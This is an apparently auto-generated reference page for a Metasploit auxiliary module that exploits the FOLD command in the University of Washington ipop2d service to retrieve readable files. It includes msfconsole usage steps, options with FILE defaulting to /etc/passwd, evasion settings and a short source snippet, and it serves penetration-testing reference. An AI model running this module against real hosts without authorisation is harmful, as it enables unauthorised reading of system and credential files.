UoW pop2d Remote File Retrieval Vulnerability - Metasploit
This page contains detailed information about how to use the auxiliary/admin/pop2/uw_fileretrieval metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: UoW pop2d Remote File Retrieval Vulnerability
Module: auxiliary/admin/pop2/uw_fileretrieval
Source code: modules/auxiliary/admin/pop2/uw_fileretrieval.rb
Disclosure date: 2000-07-14
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 109
List of CVEs: -
This module exploits a vulnerability in the FOLD command of the University of Washington ipop2d service. By specifying an arbitrary folder name it is possible to retrieve any file which is world or group readable by the user ID of the POP account. This vulnerability can only be exploited with a valid username and password. The From address is the file owner.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/pop2/uw_fileretrieval
msf auxiliary(uw_fileretrieval) > show targets
... a list of targets ...
msf auxiliary(uw_fileretrieval) > set TARGET target-id
msf auxiliary(uw_fileretrieval) > show options
... show and set options ...
msf auxiliary(uw_fileretrieval) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/pop2/uw_fileretrieval auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/pop2/uw_fileretrieval
msf6 auxiliary(admin/pop2/uw_fileretrieval) > show info
Name: UoW pop2d Remote File Retrieval Vulnerability
Module: auxiliary/admin/pop2/uw_fileretrieval
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2000-07-14
Provided by:
aushack <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/passwd yes The file to retrieve
POP2PASS no The password for the specified username
POP2USER no The username to authenticate as
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 109 yes The target port (TCP)
Description:
This module exploits a vulnerability in the FOLD command of the
University of Washington ipop2d service. By specifying an arbitrary
folder name it is possible to retrieve any file which is world or
group readable by the user ID of the POP account. This vulnerability
can only be exploited with a valid username and password. The From
address is the file owner.
References:
OSVDB (368)
http://www.securityfocus.com/bid/1484
Module Options
This is a complete list of options available in the admin/pop2/uw_fileretrieval auxiliary module:
msf6 auxiliary(admin/pop2/uw_fileretrieval) > show options
Module options (auxiliary/admin/pop2/uw_fileretrieval):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/passwd yes The file to retrieve
POP2PASS no The password for the specified username
POP2USER no The username to authenticate as
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 109 yes The target port (TCP)
Advanced Options
Here is a complete list of advanced options supported by the admin/pop2/uw_fileretrieval auxiliary module:
msf6 auxiliary(admin/pop2/uw_fileretrieval) > show advanced
Module advanced options (auxiliary/admin/pop2/uw_fileretrieval):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/pop2/uw_fileretrieval module can do:
msf6 auxiliary(admin/pop2/uw_fileretrieval) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/pop2/uw_fileretrieval auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/pop2/uw_fileretrieval) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
File <FILE> not found or read-access is denied.
Here is a relevant code snippet related to the "File <FILE> not found or read-access is denied." error message:
41: send_cmd( ['READ 1'] , true)
42: file_output = send_cmd( ['RETR'] , true)
43: print_status("File output:\r\n\r\n#{file_output}\r\n")
44: send_cmd( ['ACKS'] , true)
45: elsif (res =~ /#0 messages in/)
46: print_status("File #{file} not found or read-access is denied.")
47: end
48:
49: send_cmd( ['QUIT'] , true)
50: disconnect
51: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #9189 Merged Pull Request: Change author name to nick.
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
References
- CVE: Not available
- OSVDB (368)
- BID-1484
See Also
Check also the following modules related to this module:
- exploit/linux/games/ut2004_secure
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/gather/pulse_secure_file_disclosure
- exploit/linux/http/imperva_securesphere_exec
- exploit/linux/http/microfocus_secure_messaging_gateway
- exploit/linux/http/pulse_secure_cmd_exec
- exploit/linux/http/pulse_secure_gzip_rce
- exploit/windows/ssh/securecrt_ssh1
- post/windows/gather/credentials/pulse_secure
- post/windows/gather/credentials/securecrt
- exploit/linux/imap/imap_uw_lsub
Authors
- aushack
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.